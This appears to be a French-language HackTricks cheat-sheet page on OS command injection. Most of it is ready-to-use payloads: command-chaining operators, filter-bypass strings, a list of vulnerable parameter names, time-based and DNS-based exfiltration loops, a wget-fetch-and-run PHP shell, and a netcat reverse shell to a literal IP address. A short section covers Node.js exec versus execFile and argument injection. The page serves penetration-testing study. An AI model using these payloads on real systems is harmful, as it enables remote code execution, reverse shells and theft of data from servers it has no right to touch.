Command Injection
Reading time: 7 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Qu'est-ce que command Injection ?
Une command injection permet l'exécution de commandes arbitraires du système d'exploitation par un attaquant sur le serveur hébergeant une application. En conséquence, l'application et toutes ses données peuvent être complètement compromises. L'exécution de ces commandes permet généralement à l'attaquant d'obtenir un accès non autorisé ou de prendre le contrôle de l'environnement de l'application et du système sous-jacent.
Contexte
Selon l'endroit où votre input est injecté vous pouvez avoir besoin de terminer le contexte entre guillemets (en utilisant "
ou '
) avant les commandes.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
Limitation Bypasses
Si vous essayez d'exécuter commandes arbitraires à l'intérieur d'une machine linux, vous serez intéressé à lire ces Bypasses :
Exemples
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Paramètres
Voici les 25 principaux paramètres qui pourraient être vulnérables à code injection et à des vulnérabilités RCE similaires (d'après link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Exfiltration de données basée sur le temps
Extraction des données : caractère par caractère
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS based data exfiltration
Basé sur l'outil https://github.com/HoLyVieR/dnsbin
, également hébergé sur dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Outils en ligne pour vérifier DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
Filtering bypass
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec
vs execFile
Lors de l'audit de back-ends JavaScript/TypeScript, vous rencontrerez souvent l'API Node.js child_process
.
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
exec()
lance un shell (/bin/sh -c
), donc tout caractère ayant une signification spéciale pour le shell (back-ticks, ;
, &&
, |
, $()
, …) entraînera une command injection lorsque l'entrée utilisateur est concaténée dans la chaîne.
Atténuation : utilisez execFile()
(ou spawn()
sans l'option shell
) et fournissez chaque argument comme un élément séparé du tableau afin qu'aucun shell ne soit impliqué :
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user
which was later embedded in an exec()
call, achieving RCE (Pwn2Own Ireland 2024).
Injection d'argument/option via un tiret initial (argv, sans métacaractères du shell)
Toutes les injections ne nécessitent pas de métacaractères du shell. Si l'application passe des chaînes non fiables comme arguments à un utilitaire système (même avec execve
/execFile
et sans shell), beaucoup de programmes vont quand même parser tout argument commençant par -
ou --
comme une option. Cela permet à un attaquant de changer de mode, modifier des chemins de sortie ou déclencher des comportements dangereux sans jamais passer par un shell.
Endroits typiques où cela apparaît :
- UIs web embarquées/handlers CGI qui construisent des commandes comme
ping <user>
,tcpdump -i <iface> -w <file>
,curl <url>
, etc. - Routeurs CGI centralisés (p.ex.
/cgi-bin/<something>.cgi
avec un paramètre sélecteur commetopicurl=<handler>
) où plusieurs handlers réutilisent le même validateur faible.
Ce qu'il faut essayer :
- Fournir des valeurs qui commencent par
-
/--
pour qu'elles soient consommées comme flags par l'outil en aval. - Abuser des flags qui changent le comportement ou écrivent des fichiers, par exemple :
ping
:-f
/-c 100000
pour stresser l'appareil (DoS)curl
:-o /tmp/x
pour écrire des chemins arbitraires,-K <url>
pour charger une config contrôlée par l'attaquanttcpdump
:-G 1 -W 1 -z /path/script.sh
pour obtenir une exécution post-rotation dans des wrappers non sécurisés
- Si le programme supporte la séparation d'options
--
, essayer de contourner des mitigations naïves qui préfixent--
au mauvais endroit.
Generic PoC shapes against centralized CGI dispatchers:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
Brute-Force Liste de détection
Références
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives – Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
- Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.